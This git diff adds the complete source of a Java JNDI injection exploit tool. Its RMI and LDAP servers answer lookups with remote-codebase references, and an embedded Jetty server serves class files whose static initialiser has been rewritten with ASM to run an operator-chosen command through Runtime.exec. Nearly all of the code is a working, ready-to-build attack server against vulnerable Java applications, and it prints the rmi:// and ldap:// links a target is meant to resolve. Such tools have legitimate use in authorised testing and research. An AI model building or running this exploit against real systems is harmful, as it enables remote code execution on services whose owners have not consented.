diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..651d229 --- /dev/null +++ b/pom.xml @@ -0,0 +1,136 @@ + + + 4.0.0 + + welk1n + JNDI-Injection-Exploit + 1.0-SNAPSHOT + + + UTF-8 + 8.1.9.v20130131 + + + + + + + org.ow2.asm + asm + 7.1 + + + + org.javassist + javassist + 3.19.0-GA + + + + org.reflections + reflections + 0.9.9 + + + + org.slf4j + slf4j-nop + 1.7.24 + + + + org.apache.commons + commons-lang3 + 3.4 + + + + commons-cli + commons-cli + 1.3 + + + + + + com.unboundid + unboundid-ldapsdk + 3.1.1 + + + + + org.eclipse.jetty.aggregate + jetty-webapp + ${jetty.version} + + + + + + + + + + + + + + + + + + + + + + junit + junit + 4.12 + test + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 1.7 + 1.7 + + + + + maven-assembly-plugin + 2.5.5 + + ${project.artifactId}-${project.version}-all + false + + jar-with-dependencies + + + + run.ServerStart + + + + + + make-assembly + package + + single + + + + + + + + \ No newline at end of file diff --git a/src/main/java/jetty/JettyServer.java b/src/main/java/jetty/JettyServer.java new file mode 100644 index 0000000..bcc768b --- /dev/null +++ b/src/main/java/jetty/JettyServer.java @@ -0,0 +1,113 @@ +package jetty; + +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.servlet.ServletHandler; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.URLEncoder; + +import static run.ServerStart.getLocalTime; +import static util.Transformers.insertCommand; + +/** + * @Classname JettyServer + * @Description HTTPServer supply .class file which execute command by Runtime.getRuntime.exec() + * @Author welkin + */ +public class JettyServer implements Runnable{ + private int port; + private Server server; + private static String command; + +// public JettyServer(int port) { +// this.port = port; +// server = new Server(port); +// command = "open /Applications/Calculator.app"; +// } + + public JettyServer(int port,String cmd) { + this.port = port; + server = new Server(port); + command = cmd; + } + + @Override + public void run() { + ServletHandler handler = new ServletHandler(); + server.setHandler(handler); + + handler.addServletWithMapping(DownloadServlet.class, "/*"); + try { + server.start(); + server.join(); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + @SuppressWarnings("serial") + public static class DownloadServlet extends HttpServlet { + public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ + + String filename = request.getRequestURI().substring(1); + InputStream in = checkFilename(filename); + byte[] transformed; + ByteArrayInputStream bain = null; + + if (in != null) { + try { + transformed = insertCommand(in,command); + bain = new ByteArrayInputStream(transformed); + + }catch (Exception e){ + e.printStackTrace(); + System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed."); + } + + System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL()); + response.setStatus(HttpServletResponse.SC_OK); + response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8")); + + int len ; + byte[] buffer = new byte[1024]; + OutputStream out = response.getOutputStream(); + if (bain != null){ + while ((len = bain.read(buffer)) > 0) { + out.write(buffer,0,len); + } + bain.close(); + }else { + System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!"); + } + }else { + System.out.println(getLocalTime() + " [JETTYSERVER]>> URL("+ request.getRequestURL() +") Not Exist!"); + } + } + + public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ + doGet(request, response); + } + } + + private static InputStream checkFilename(String filename){ + String template; + switch (filename){ + case "ExecTemplateJDK7.class": + template = "template/ExecTemplateJDK7.class"; + break; + case "ExecTemplateJDK8.class": + template = "template/ExecTemplateJDK8.class"; + break; + // TODO:Add more + default: + return null; + } + return Thread.currentThread().getContextClassLoader().getResourceAsStream(template); + + } + +} diff --git a/src/main/java/jndi/LDAPRefServer.java b/src/main/java/jndi/LDAPRefServer.java new file mode 100644 index 0000000..4bdb8f6 --- /dev/null +++ b/src/main/java/jndi/LDAPRefServer.java @@ -0,0 +1,153 @@ +/* MIT License + +Copyright (c) 2017 Moritz Bechler + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +*/ +package jndi; + + +import java.net.InetAddress; +import java.net.MalformedURLException; +import java.net.URL; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; + +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.sdk.*; +import util.Mapper; + +import static run.ServerStart.getLocalTime; + + +/** + * LDAP jndi implementation returning JNDI references + * + * @author mbechler welkin + * + */ +public class LDAPRefServer implements Runnable{ + + private static final String LDAP_BASE = "dc=example,dc=com"; + private int port; + private URL codebase_url; + + public LDAPRefServer(int port, URL codebase_url) { + this.port = port; + this.codebase_url = codebase_url; + } + + @Override + public void run () { +// int port = 1389; + +// try { +// Class.forName("util.Mapper"); +// }catch (ClassNotFoundException e){ +// e.printStackTrace(); +// } + +// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { +// System.err.println(LDAPRefServer.class.getSimpleName() + " []"); //$NON-NLS-1$ +// System.exit(-1); +// } +// else if ( args.length > 1 ) { +// port = Integer.parseInt(args[ 1 ]); +// } + + try { + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); + config.setListenerConfigs(new InMemoryListenerConfig( + "listen", //$NON-NLS-1$ + InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ + port, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + + config.addInMemoryOperationInterceptor(new OperationInterceptor(this.codebase_url)); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); + System.out.println(getLocalTime() + " [LDAPSERVER] >> Listening on 0.0.0.0:" + port); //$NON-NLS-1$ + ds.startListening(); + + } + catch ( Exception e ) { + e.printStackTrace(); + } + } + + private static class OperationInterceptor extends InMemoryOperationInterceptor { + + private URL codebase; + + + /** + * + */ + public OperationInterceptor ( URL cb ) { + this.codebase = cb; + } + + + /** + * {@inheritDoc} + * + * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) + */ + @Override + public void processSearchResult ( InMemoryInterceptedSearchResult result ) { + String base = result.getRequest().getBaseDN(); + Entry e = new Entry(base); + try { + sendResult(result, base, e); + } + catch ( Exception e1 ) { + e1.printStackTrace(); + } + + } + + + protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { + + String cbstring = this.codebase.toString(); + String javaFactory = Mapper.references.get(base); + + if (javaFactory != null){ + URL turl = new URL(cbstring + javaFactory.concat(".class")); + System.out.println(getLocalTime() + " [LDAPSERVER] >> Send LDAP reference result for " + base + " redirecting to " + turl); + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaCodeBase", cbstring); + e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ + e.addAttribute("javaFactory", javaFactory); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + }else { + System.out.println(getLocalTime() + " [LDAPSERVER] >> Reference that matches the name(" + base + ") is not found."); + } + } + + } +} diff --git a/src/main/java/jndi/RMIRefServer.java b/src/main/java/jndi/RMIRefServer.java new file mode 100644 index 0000000..42c27ab --- /dev/null +++ b/src/main/java/jndi/RMIRefServer.java @@ -0,0 +1,431 @@ +package jndi; + + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectStreamClass; +import java.io.OutputStream; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLClassLoader; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObject; +import java.rmi.server.UID; +import java.util.Arrays; + +import javax.naming.Reference; +import javax.net.ServerSocketFactory; + +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import util.Mapper; +import util.Reflections; +import sun.rmi.server.UnicastServerRef; +import sun.rmi.transport.TransportConstants; + +import static run.ServerStart.getLocalTime; + + +/** + * Generic JRMP listener + * + * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory. + * + * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121. + * + * @author mbechler welkin + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class RMIRefServer implements Runnable { + + private int port; + private ServerSocket ss; + private Object waitLock = new Object(); + private boolean exit; + private boolean hadConnection; + private URL classpathUrl; + + + public RMIRefServer ( int port, URL classpathUrl ) throws IOException { + this.port = port; + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + + public boolean waitFor ( int i ) { + try { + if ( this.hadConnection ) { + return true; + } + System.out.println(getLocalTime() + " [RMISERVER] >> Waiting for connection"); + synchronized ( this.waitLock ) { + this.waitLock.wait(i); + } + return this.hadConnection; + } + catch ( InterruptedException e ) { + return false; + } + } + + + /** + * + */ + public void close () { + this.exit = true; + try { + this.ss.close(); + } + catch ( IOException e ) {} + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + } + + + public static final void main ( final String[] args ) { + int port = 1099; +// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { +// System.err.println(RMIRefServer.class.getName() + " []"); +// System.exit(-1); +// return; +// } +// if ( args.length >= 2 ) { +// port = Integer.parseInt(args[ 1 ]); +// } + + //trigger static code in Mapper + try { + Class.forName("util.Mapper"); + }catch (ClassNotFoundException e){ + e.printStackTrace(); + } + + try { + System.out.println(getLocalTime() + " [RMISERVER] >> Opening JRMP listener on " + port); + RMIRefServer c = new RMIRefServer(port, new URL("http://testlocal.com:8080/")); + c.run(); + } catch ( Exception e ) { + System.out.println(getLocalTime() + " [RMISERVER] >> Listener error"); + e.printStackTrace(System.err); + } + } + + + @Override + public void run () { + try { + @SuppressWarnings ( "resource" ) + Socket s = null; + try { + while ( !this.exit && ( s = this.ss.accept() ) != null ) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.out.println(getLocalTime() + " [RMISERVER] >> Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + try ( DataInputStream in = new DataInputStream(bufIn) ) { + int magic = in.readInt(); + + short version = in.readShort(); + if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + try ( DataOutputStream out = new DataOutputStream(bufOut) ) { + + byte protocol = in.readByte(); + switch ( protocol ) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if ( remote.getHostName() != null ) { + out.writeUTF(remote.getHostName()); + } + else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out); + break; + default: + case TransportConstants.MultiplexProtocol: + System.out.println(getLocalTime() + " [RMISERVER] >> Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + } + } + catch ( InterruptedException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + System.out.println(getLocalTime() + " [RMISERVER] >> Closing connection"); + s.close(); + } + + } + + } + finally { + if ( s != null ) { + s.close(); + } + if ( this.ss != null ) { + this.ss.close(); + } + } + + } + catch ( SocketException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + } + + + private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception { + System.out.println(getLocalTime() + " [RMISERVER] >> Reading message..."); + + int op = in.read(); + + switch ( op ) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID.read(in); + break; + + default: + throw new IOException(getLocalTime() + " [RMISERVER] >> unknown transport op " + op); + } + + s.close(); + } + + + private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + if ( "[Ljava.rmi.jndi.ObjID;".equals(desc.getName()) ) { + return ObjID[].class; + } + else if ( "java.rmi.jndi.ObjID".equals(desc.getName()) ) { + return ObjID.class; + } + else if ( "java.rmi.jndi.UID".equals(desc.getName()) ) { + return UID.class; + } + else if ( "java.lang.String".equals(desc.getName()) ) { + return String.class; + } + throw new IOException(getLocalTime() + " [RMISERVER] >> Not allowed to read object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } + catch ( IOException e ) { + throw new MarshalException(getLocalTime() + " [RMISERVER] >> unable to read objID", e); + } + + if ( read.hashCode() == 2 ) { + // DGC + handleDGC(ois); + } + else if ( read.hashCode() == 0 ) { + if ( handleRMI(ois, out) ) { + this.hadConnection = true; + synchronized ( this.waitLock ) { + this.waitLock.notifyAll(); + } + return; + } + } + + } + + + /** + * @param ois + * @param out + * @throws IOException + * @throws ClassNotFoundException +// * @throws NamingException + */ + private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception { + int method = ois.readInt(); // method + ois.readLong(); // hash + + if ( method != 2 ) { // lookup + return false; + } + + String object = (String) ois.readObject(); + System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method); + + String cpstring = this.classpathUrl.toString(); + String reference = Mapper.references.get(object); + + if (reference == null) { + System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found."); + return false; + } + URL turl = new URL(cpstring + "#" + reference); + out.writeByte(TransportConstants.Return);// transport op + try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) { + + oos.writeByte(TransportConstants.NormalReturn); + new UID().write(oos); + + System.out.println( + String.format( + getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s", + new URL(cpstring + reference.concat(".class")))); + + ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); + Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString())); + Field refF = RemoteObject.class.getDeclaredField("ref"); + refF.setAccessible(true); + refF.set(rw, new UnicastServerRef(12345)); + + oos.writeObject(rw); + + oos.flush(); + out.flush(); + } + return true; + } + + + /** + * @param ois + * @throws IOException + * @throws ClassNotFoundException + */ + private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException { + ois.readInt(); // method + ois.readLong(); // hash + System.out.println(getLocalTime() + " [RMISERVER] >> Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); + } + + + @SuppressWarnings ( "deprecation" ) + protected static Object makeDummyObject ( String className ) { + try { + ClassLoader isolation = new ClassLoader() {}; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + public static class Dummy implements Serializable { + + private static final long serialVersionUID = 1L; + + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + private URL sendUrl; + + + public MarshalOutputStream ( OutputStream out, URL u ) throws IOException { + super(out); + this.sendUrl = u; + } + + + MarshalOutputStream ( OutputStream out ) throws IOException { + super(out); + } + + + @Override + protected void annotateClass ( Class cl ) throws IOException { + if ( this.sendUrl != null ) { + writeObject(this.sendUrl.toString()); + } + else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + writeObject(null); + } + else { + URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); + String cb = ""; + + for ( URL u : us ) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass ( Class cl ) throws IOException { + annotateClass(cl); + } + } +} diff --git a/src/main/java/run/ServerStart.java b/src/main/java/run/ServerStart.java new file mode 100644 index 0000000..064b74c --- /dev/null +++ b/src/main/java/run/ServerStart.java @@ -0,0 +1,149 @@ +package run; + +import jetty.JettyServer; +import jndi.LDAPRefServer; +import jndi.RMIRefServer; +import org.apache.commons.cli.*; +import org.apache.commons.lang3.StringUtils; + +import java.net.*; +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Enumeration; + +import static util.Mapper.*; + +/** + * @Classname run.ServerStart + * @Description Start servers + * @Author Welkin + */ +public class ServerStart { + public static String addr = getLocalIpByNetcard(); + + //default ports + public static int rmiPort = 1099; + public static int ldapPort = 1389; + private static int jettyPort = 8180; + + private String command ; + private URL codebase; + + private JettyServer jettyServer; + private RMIRefServer rmiRefServer; + private LDAPRefServer ldapRefServer; + + public static void main(String[] args) throws Exception{ + + CommandLineParser parser = new DefaultParser(); + CommandLine cmd = null; + //default command + String[] cmdArray = {"open","/Applications/Calculator.app"}; + + try{ + cmd = parser.parse(cmdlineOptions(),args); + }catch (Exception e){ + System.err.println("Cmdlines parse failed."); + System.exit(1); + } + if(cmd.hasOption("C")) { + cmdArray = cmd.getOptionValues('C'); + } + if(cmd.hasOption("A")) { + addr = cmd.getOptionValue('A'); + } + + ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," ")); + System.out.println("[ADDRESS] >> " + addr); + System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE)); + Class.forName("util.Mapper"); + + System.out.println("----------------------------Server Log----------------------------"); + System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort); + Thread threadJetty = new Thread(servers.jettyServer); + threadJetty.start(); + + System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort); + Thread threadRMI = new Thread(servers.rmiRefServer); + threadRMI.start(); + + Thread threadLDAP = new Thread(servers.ldapRefServer); + threadLDAP.start(); + + } + + public ServerStart(String cmd) throws Exception{ + this.codebase = new URL("http://"+ getLocalIpByNetcard() +":"+ jettyPort +"/"); + this.command = cmd; + + jettyServer = new JettyServer(jettyPort,command); + rmiRefServer = new RMIRefServer(rmiPort, codebase); + ldapRefServer = new LDAPRefServer(ldapPort,codebase); + } + + public ServerStart(URL codebase, String cmd) throws Exception{ + this.codebase = codebase; + this.command = cmd; + + jettyServer = new JettyServer(jettyPort,command); + rmiRefServer = new RMIRefServer(rmiPort, this.codebase); + ldapRefServer = new LDAPRefServer(ldapPort,this.codebase); + } + + public static Options cmdlineOptions(){ + Options opts = new Options(); + Option c = new Option("C",true,"The command executed in remote .class."); + c.setArgs(Option.UNLIMITED_VALUES); + opts.addOption(c); + Option addr = new Option("A",true,"The address of server(ip or domain)."); + opts.addOption(addr); + return opts; + } + + /** + * 直接根据第一个网卡地址作为其内网ipv4地址 + * + * @return + */ + public static String getLocalIpByNetcard() { + try { + for (Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) { + NetworkInterface item = e.nextElement(); + for (InterfaceAddress address : item.getInterfaceAddresses()) { + if (item.isLoopback() || !item.isUp()) { + continue; + } + if (address.getAddress() instanceof Inet4Address) { + Inet4Address inet4Address = (Inet4Address) address.getAddress(); + return inet4Address.getHostAddress(); + } + } + } + return InetAddress.getLocalHost().getHostAddress(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + /** + * Get current time + */ + public static String getLocalTime(){ + Date d = new Date(); + DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + return sdf.format(d); + } + + public static Boolean isLinux(){ + return !System.getProperty("os.name").toLowerCase().startsWith("win"); + } + + public static String withColor(String str,String color){ + if (isLinux()) { + return color + str + ANSI_RESET; + } + return str; + } + +} diff --git a/src/main/java/util/Mapper.java b/src/main/java/util/Mapper.java new file mode 100644 index 0000000..894d9c7 --- /dev/null +++ b/src/main/java/util/Mapper.java @@ -0,0 +1,48 @@ +package util; + +import org.apache.commons.lang3.RandomStringUtils; + +import static run.ServerStart.addr; +import static run.ServerStart.rmiPort; +import static run.ServerStart.ldapPort; +import static run.ServerStart.withColor; + +import java.util.HashMap; +import java.util.Map; + +/** + * @Classname Mapper + * @Description Init the JNDI links + * @Author Welkin + */ +public class Mapper { + + public final static Map references = new HashMap<>(); + public final static Map instructions = new HashMap<>(); + public static final String ANSI_RESET = "\u001B[0m"; + public static final String ANSI_PURPLE = "\u001B[35m"; + public static final String ANSI_RED = "\u001B[31m"; + public static final String ANSI_BLUE = "\u001B[34m"; + + + static { + references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"ExecTemplateJDK8"); + references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"ExecTemplateJDK7"); + + instructions.put("ExecTemplateJDK8","Build in "+ withColor("JDK 1.8",ANSI_RED) +" and trustURLCodebase is true"); + instructions.put("ExecTemplateJDK7","Build in "+ withColor("JDK 1.7",ANSI_RED) +" and trustURLCodebase is true"); + + System.out.println("----------------------------JNDI Links---------------------------- "); + for (String name : references.keySet()) { + String reference = references.get(name); + System.out.println("Target environment(" + instructions.get(reference) +"):"); + System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE)); + System.out.println(withColor("ldap://"+ addr +":"+ ldapPort +"/" + name, ANSI_PURPLE)); + } + System.out.println(); + } + + public static void main(String[] args) { + System.out.println(); + } +} diff --git a/src/main/java/util/Reflections.java b/src/main/java/util/Reflections.java new file mode 100644 index 0000000..26c660b --- /dev/null +++ b/src/main/java/util/Reflections.java @@ -0,0 +1,69 @@ +package util; + +import sun.reflect.ReflectionFactory; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; + + +@SuppressWarnings ( "restriction" ) +public class Reflections { + + public static Field getField ( final Class clazz, final String fieldName ) throws Exception { + try { + Field field = clazz.getDeclaredField(fieldName); + if ( field != null ) + field.setAccessible(true); + else if ( clazz.getSuperclass() != null ) + field = getField(clazz.getSuperclass(), fieldName); + + return field; + } + catch ( NoSuchFieldException e ) { + if ( !clazz.getSuperclass().equals(Object.class) ) { + return getField(clazz.getSuperclass(), fieldName); + } + throw e; + } + } + + + public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + + public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + + public static Constructor getFirstCtor ( final String name ) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[ 0 ]; + ctor.setAccessible(true); + return ctor; + } + + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + + @SuppressWarnings ( { + "unchecked" + } ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, + Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T) sc.newInstance(consArgs); + } + +} diff --git a/src/main/java/util/Transformers.java b/src/main/java/util/Transformers.java new file mode 100644 index 0000000..8002244 --- /dev/null +++ b/src/main/java/util/Transformers.java @@ -0,0 +1,83 @@ +package util; + +import java.io.InputStream; +import org.objectweb.asm.*; + + +/** + * @Classname Transformers + * @Description Insert command to the template classfile + * @Author Welkin + */ +public class Transformers { + + public static byte[] insertCommand(InputStream inputStream, String command) throws Exception{ + + ClassReader cr = new ClassReader(inputStream); + ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); + ClassVisitor cv = new TransformClass(cw,command); + + cr.accept(cv, 2); + return cw.toByteArray(); + } + + static class TransformClass extends ClassVisitor{ + + String command; + + TransformClass(ClassVisitor classVisitor, String command){ + super(Opcodes.ASM7,classVisitor); + this.command = command; + } + + @Override + public MethodVisitor visitMethod( + final int access, + final String name, + final String descriptor, + final String signature, + final String[] exceptions) { + MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions); + if(name.equals("")){ + return new TransformMethod(mv,command); + }else{ + return mv; + } + } + } + + static class TransformMethod extends MethodVisitor{ + + String command; + + TransformMethod(MethodVisitor methodVisitor,String command) { + super(Opcodes.ASM7, methodVisitor); + this.command = command; + } + + @Override + public void visitCode(){ + + Label label0 = new Label(); + Label label1 = new Label(); + Label label2 = new Label(); + mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception"); + mv.visitLabel(label0); + mv.visitLdcInsn(command); + mv.visitVarInsn(Opcodes.ASTORE, 0); + mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(Opcodes.ALOAD, 0); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(label1); + Label label3 = new Label(); + mv.visitJumpInsn(Opcodes.GOTO, label3); + mv.visitLabel(label2); + mv.visitVarInsn(Opcodes.ASTORE, 0); + mv.visitVarInsn(Opcodes.ALOAD, 0); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); + mv.visitLabel(label3); + } + } + +} diff --git a/src/main/resources/template/ExecTemplateJDK7.class b/src/main/resources/template/ExecTemplateJDK7.class new file mode 100644 index 0000000..f3077dd Binary files /dev/null and b/src/main/resources/template/ExecTemplateJDK7.class differ diff --git a/src/main/resources/template/ExecTemplateJDK8.class b/src/main/resources/template/ExecTemplateJDK8.class new file mode 100644 index 0000000..c131235 Binary files /dev/null and b/src/main/resources/template/ExecTemplateJDK8.class differ diff --git a/src/test/java/ExecTemplateJDK7.java b/src/test/java/ExecTemplateJDK7.java new file mode 100644 index 0000000..664abd3 --- /dev/null +++ b/src/test/java/ExecTemplateJDK7.java @@ -0,0 +1,11 @@ +/** + * @Classname ExecTemplateJDK7 + * @Author Welkin + */ +public class ExecTemplateJDK7 { + + static { + System.out.println(); + } + +} diff --git a/src/test/java/ExecTemplateJDK8.java b/src/test/java/ExecTemplateJDK8.java new file mode 100644 index 0000000..a2fcec6 --- /dev/null +++ b/src/test/java/ExecTemplateJDK8.java @@ -0,0 +1,11 @@ +/** + * @Classname ExecTemplateJDK8 + * @Author Welkin + */ +public class ExecTemplateJDK8 { + + static { + System.out.println(); + } + +} diff --git a/src/test/java/TestRuntime.java b/src/test/java/TestRuntime.java new file mode 100644 index 0000000..cdbe73d --- /dev/null +++ b/src/test/java/TestRuntime.java @@ -0,0 +1,13 @@ +import org.junit.Test; + +/** + * @Classname TestRuntime + * @Description For testing your command + * @Author Welkin + */ +public class TestRuntime { + @Test + public void testRuntime() throws Exception{ + Runtime.getRuntime().exec("id"); + } +}